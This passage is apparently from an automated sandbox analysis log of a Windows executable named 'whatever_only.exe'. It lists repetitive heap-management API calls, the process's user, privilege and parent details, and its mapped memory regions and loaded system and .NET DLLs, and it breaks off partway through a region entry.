GetProcessHeap () returned 0x130000 [0140.819] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145980) returned 1 [0140.819] GetProcessHeap () returned 0x130000 [0140.819] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145980) returned 0x20 [0140.820] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145980 | out: hHeap=0x130000) returned 1 [0140.820] GetProcessHeap () returned 0x130000 [0140.820] GetProcessHeap () returned 0x130000 [0140.820] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x1459b0) returned 1 [0140.820] GetProcessHeap () returned 0x130000 [0140.820] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x1459b0) returned 0x20 [0140.820] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x1459b0 | out: hHeap=0x130000) returned 1 [0140.820] GetProcessHeap () returned 0x130000 [0140.820] GetProcessHeap () returned 0x130000 [0140.820] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x1459e0) returned 1 [0140.820] GetProcessHeap () returned 0x130000 [0140.820] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x1459e0) returned 0x20 [0140.821] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x1459e0 | out: hHeap=0x130000) returned 1 [0140.821] GetProcessHeap () returned 0x130000 [0140.821] GetProcessHeap () returned 0x130000 [0140.821] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cb60) returned 1 [0140.821] GetProcessHeap () returned 0x130000 [0140.821] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cb60) returned 0x20 [0140.821] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cb60 | out: hHeap=0x130000) returned 1 [0140.821] GetProcessHeap () returned 0x130000 [0140.821] GetProcessHeap () returned 0x130000 [0140.821] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d680) returned 1 [0140.821] GetProcessHeap () returned 0x130000 [0140.821] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d680) returned 0xe [0140.821] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d680 | out: hHeap=0x130000) returned 1 [0140.821] GetProcessHeap () returned 0x130000 [0140.821] GetProcessHeap () returned 0x130000 [0140.821] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cb90) returned 1 [0140.821] GetProcessHeap () returned 0x130000 [0140.821] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cb90) returned 0x20 [0140.822] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cb90 | out: hHeap=0x130000) returned 1 [0140.822] GetProcessHeap () returned 0x130000 [0140.822] GetProcessHeap () returned 0x130000 [0140.822] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x147a70) returned 1 [0140.822] GetProcessHeap () returned 0x130000 [0140.822] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x147a70) returned 0x30 [0140.822] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x147a70 | out: hHeap=0x130000) returned 1 [0140.822] GetProcessHeap () returned 0x130000 [0140.822] GetProcessHeap () returned 0x130000 [0140.822] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cbc0) returned 1 [0140.822] GetProcessHeap () returned 0x130000 [0140.822] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cbc0) returned 0x20 [0140.822] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cbc0 | out: hHeap=0x130000) returned 1 [0140.822] GetProcessHeap () returned 0x130000 [0140.823] GetProcessHeap () returned 0x130000 [0140.823] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x147ab0) returned 1 [0140.823] GetProcessHeap () returned 0x130000 [0140.823] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x147ab0) returned 0x30 [0140.823] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x147ab0 | out: hHeap=0x130000) returned 1 [0140.825] GetProcessHeap () returned 0x130000 [0140.825] GetProcessHeap () returned 0x130000 [0140.825] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cd40) returned 1 [0140.825] GetProcessHeap () returned 0x130000 [0140.825] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cd40) returned 0x20 [0140.826] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cd40 | out: hHeap=0x130000) returned 1 [0140.826] GetProcessHeap () returned 0x130000 [0140.826] GetProcessHeap () returned 0x130000 [0140.826] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d5a0) returned 1 [0140.826] GetProcessHeap () returned 0x130000 [0140.826] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d5a0) returned 0xe [0140.826] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d5a0 | out: hHeap=0x130000) returned 1 [0140.826] GetProcessHeap () returned 0x130000 [0140.826] GetProcessHeap () returned 0x130000 [0140.826] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cd10) returned 1 [0140.826] GetProcessHeap () returned 0x130000 [0140.826] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cd10) returned 0x20 [0140.826] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cd10 | out: hHeap=0x130000) returned 1 [0140.826] GetProcessHeap () returned 0x130000 [0140.826] GetProcessHeap () returned 0x130000 [0140.826] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d5c0) returned 1 [0140.826] GetProcessHeap () returned 0x130000 [0140.826] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d5c0) returned 0x16 [0140.827] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d5c0 | out: hHeap=0x130000) returned 1 [0140.827] GetProcessHeap () returned 0x130000 [0140.827] GetProcessHeap () returned 0x130000 [0140.827] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cce0) returned 1 [0140.827] GetProcessHeap () returned 0x130000 [0140.827] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cce0) returned 0x20 [0140.827] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cce0 | out: hHeap=0x130000) returned 1 [0140.827] GetProcessHeap () returned 0x130000 [0140.827] GetProcessHeap () returned 0x130000 [0140.827] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d5e0) returned 1 [0140.827] GetProcessHeap () returned 0x130000 [0140.827] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d5e0) returned 0x16 [0140.827] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d5e0 | out: hHeap=0x130000) returned 1 [0140.827] GetProcessHeap () returned 0x130000 [0140.827] GetProcessHeap () returned 0x130000 [0140.827] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14ccb0) returned 1 [0140.827] GetProcessHeap () returned 0x130000 [0140.827] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14ccb0) returned 0x20 [0140.828] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14ccb0 | out: hHeap=0x130000) returned 1 [0140.828] GetProcessHeap () returned 0x130000 [0140.828] GetProcessHeap () returned 0x130000 [0140.828] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x169b70) returned 1 [0140.828] GetProcessHeap () returned 0x130000 [0140.828] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x169b70) returned 0x82 [0140.828] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x169b70 | out: hHeap=0x130000) returned 1 [0140.828] GetProcessHeap () returned 0x130000 [0140.828] GetProcessHeap () returned 0x130000 [0140.828] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cc80) returned 1 [0140.828] GetProcessHeap () returned 0x130000 [0140.828] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cc80) returned 0x20 [0140.829] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cc80 | out: hHeap=0x130000) returned 1 [0140.829] GetProcessHeap () returned 0x130000 [0140.829] GetProcessHeap () returned 0x130000 [0140.829] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d620) returned 1 [0140.829] GetProcessHeap () returned 0x130000 [0140.829] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d620) returned 0xe [0140.829] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d620 | out: hHeap=0x130000) returned 1 [0140.829] GetProcessHeap () returned 0x130000 [0140.829] GetProcessHeap () returned 0x130000 [0140.829] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cc50) returned 1 [0140.829] GetProcessHeap () returned 0x130000 [0140.829] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cc50) returned 0x20 [0140.829] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cc50 | out: hHeap=0x130000) returned 1 [0140.829] GetProcessHeap () returned 0x130000 [0140.829] GetProcessHeap () returned 0x130000 [0140.829] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d640) returned 1 [0140.829] GetProcessHeap () returned 0x130000 [0140.829] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d640) returned 0xa [0140.829] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d640 | out: hHeap=0x130000) returned 1 [0140.829] GetProcessHeap () returned 0x130000 [0140.829] GetProcessHeap () returned 0x130000 [0140.829] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cc20) returned 1 [0140.830] GetProcessHeap () returned 0x130000 [0140.830] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cc20) returned 0x20 [0140.830] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cc20 | out: hHeap=0x130000) returned 1 [0140.830] GetProcessHeap () returned 0x130000 [0140.830] GetProcessHeap () returned 0x130000 [0140.830] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d660) returned 1 [0140.830] GetProcessHeap () returned 0x130000 [0140.830] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d660) returned 0xc [0140.830] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d660 | out: hHeap=0x130000) returned 1 [0140.830] GetProcessHeap () returned 0x130000 [0140.830] GetProcessHeap () returned 0x130000 [0140.830] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cbf0) returned 1 [0140.830] GetProcessHeap () returned 0x130000 [0140.830] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cbf0) returned 0x20 [0140.830] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cbf0 | out: hHeap=0x130000) returned 1 [0140.830] GetProcessHeap () returned 0x130000 [0140.830] GetProcessHeap () returned 0x130000 [0140.831] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14ba10) returned 1 [0140.831] GetProcessHeap () returned 0x130000 [0140.831] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14ba10) returned 0x18 [0140.831] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14ba10 | out: hHeap=0x130000) returned 1 [0140.831] GetProcessHeap () returned 0x130000 [0140.831] GetProcessHeap () returned 0x130000 [0140.831] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145a10) returned 1 [0140.831] GetProcessHeap () returned 0x130000 [0140.831] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145a10) returned 0x20 [0140.831] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145a10 | out: hHeap=0x130000) returned 1 [0140.831] GetProcessHeap () returned 0x130000 [0140.831] GetProcessHeap () returned 0x130000 [0140.831] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145a40) returned 1 [0140.831] GetProcessHeap () returned 0x130000 [0140.831] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145a40) returned 0x20 [0140.831] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145a40 | out: hHeap=0x130000) returned 1 [0140.832] GetProcessHeap () returned 0x130000 [0140.832] GetProcessHeap () returned 0x130000 [0140.832] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145a70) returned 1 [0140.832] GetProcessHeap () returned 0x130000 [0140.832] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145a70) returned 0x20 [0140.832] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145a70 | out: hHeap=0x130000) returned 1 [0140.832] GetProcessHeap () returned 0x130000 [0140.832] GetProcessHeap () returned 0x130000 [0140.832] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145aa0) returned 1 [0140.832] GetProcessHeap () returned 0x130000 [0140.832] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145aa0) returned 0x20 [0140.832] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145aa0 | out: hHeap=0x130000) returned 1 [0140.832] GetProcessHeap () returned 0x130000 [0140.832] GetProcessHeap () returned 0x130000 [0140.832] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14ba30) returned 1 [0140.833] GetProcessHeap () returned 0x130000 [0140.833] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14ba30) returned 0x18 [0140.833] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14ba30 | out: hHeap=0x130000) returned 1 [0140.833] GetProcessHeap () returned 0x130000 [0140.833] GetProcessHeap () returned 0x130000 [0140.833] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145ad0) returned 1 [0140.833] GetProcessHeap () returned 0x130000 [0140.833] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145ad0) returned 0x20 [0140.833] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145ad0 | out: hHeap=0x130000) returned 1 [0140.833] GetProcessHeap () returned 0x130000 [0140.833] GetProcessHeap () returned 0x130000 [0140.833] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145b60) returned 1 [0140.833] GetProcessHeap () returned 0x130000 [0140.833] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145b60) returned 0x20 [0140.833] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145b60 | out: hHeap=0x130000) returned 1 [0140.833] GetProcessHeap () returned 0x130000 [0140.833] GetProcessHeap () returned 0x130000 [0140.834] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145bc0) returned 1 [0140.834] GetProcessHeap () returned 0x130000 [0140.834] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145bc0) returned 0x20 [0140.834] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145bc0 | out: hHeap=0x130000) returned 1 [0140.834] GetProcessHeap () returned 0x130000 [0140.834] GetProcessHeap () returned 0x130000 [0140.834] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145c20) returned 1 [0140.834] GetProcessHeap () returned 0x130000 [0140.834] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145c20) returned 0x20 [0140.834] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145c20 | out: hHeap=0x130000) returned 1 [0140.835] GetProcessHeap () returned 0x130000 [0140.835] GetProcessHeap () returned 0x130000 [0140.835] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145c50) returned 1 [0140.835] GetProcessHeap () returned 0x130000 [0140.835] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145c50) returned 0x20 [0140.835] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145c50 | out: hHeap=0x130000) returned 1 [0140.835] GetProcessHeap () returned 0x130000 [0140.835] GetProcessHeap () returned 0x130000 [0140.835] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14ba50) returned 1 [0140.835] GetProcessHeap () returned 0x130000 [0140.835] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14ba50) returned 0x18 [0140.835] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14ba50 | out: hHeap=0x130000) returned 1 [0140.835] GetProcessHeap () returned 0x130000 [0140.835] GetProcessHeap () returned 0x130000 [0140.835] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145b90) returned 1 [0140.835] GetProcessHeap () returned 0x130000 [0140.835] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145b90) returned 0x20 [0140.836] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145b90 | out: hHeap=0x130000) returned 1 [0140.836] GetProcessHeap () returned 0x130000 [0140.836] GetProcessHeap () returned 0x130000 [0140.836] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14b9d0) returned 1 [0140.836] GetProcessHeap () returned 0x130000 [0140.836] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14b9d0) returned 0x18 [0140.836] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14b9d0 | out: hHeap=0x130000) returned 1 [0140.836] exit (_Code=0) Thread: id = 145 os_tid = 0xfb4 Process: id = "28" image_name = "whatever_only.exe" filename = "c:\\comproviderruntimecommon\\whatever_only.exe" page_root = "0x400f5000" os_pid = "0xfac" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "25" os_parent_pid = "0xf78" cmd_line = "C:\\comproviderRuntimecommon\\whatever_only.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3337 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3338 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3339 start_va = 0x100000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 3340 start_va = 0xeb0000 end_va = 0xf85fff monitored = 1 entry_point = 0xf7d67e region_type = mapped_file name = "whatever_only.exe" filename = "\\comproviderRuntimecommon\\whatever_only.exe" (normalized: "c:\\comproviderruntimecommon\\whatever_only.exe") Region: id = 3341 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3342 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3343 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3344 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3345 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3346 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 3347 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3348 start_va = 0x200000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3349 start_va = 0x7fef9de0000 end_va = 0x7fef9e4efff monitored = 1 entry_point = 0x7fef9de1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 3350 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3351 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3352 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3353 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3354 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3813 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3814 start_va = 0xb0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 3815 start_va = 0x370000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 4323 start_va = 0x470000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 4324 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4325 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4326 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4327 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4328 start_va = 0x600000 end_va = 0x76ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 4329 start_va = 0x470000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 4330 start_va = 0x580000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 4331 start_va = 0x7fef8bb0000 end_va = 0x7fef8c58fff monitored = 1 entry_point = 0x7fef8bb1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 4332 start_va = 0x7fef9dd0000 end_va = 0x7fef9dd2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 4938 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4939 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4940 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4941 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4942 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4948 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4949 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 4950 start_va = 0x770000 end_va = 0x8f7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 4951 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4952 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4953 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4954 start_va = 0x900000 end_va = 0xa80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000900000" filename = "" Region: id = 4955 start_va = 0xf90000 end_va = 0x238ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 5304 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5305 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 5306 start_va = 0x200000 end_va = 0x2cffff monitored = 1 entry_point = 0x2cd67e region_type = mapped_file name = "whatever_only.exe" filename = "\\comproviderRuntimecommon\\whatever_only.exe" (normalized: "c:\\comproviderruntimecommon\\whatever_only.exe") Region: id = 5307 start_va = 0x2f0000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 5456 start_va = 0x200000 end_va = 0x2cffff monitored = 1 entry_point = 0x2cd67e region_type = mapped_file name = "whatever_only.exe" filename = "\\comproviderRuntimecommon\\whatever_only.exe" (normalized: "c:\\comproviderruntimecommon\\whatever_only.exe") Region: id = 5457 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5458 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5459 start_va = 0x7feefe70000 end_va = 0x7fef0936fff 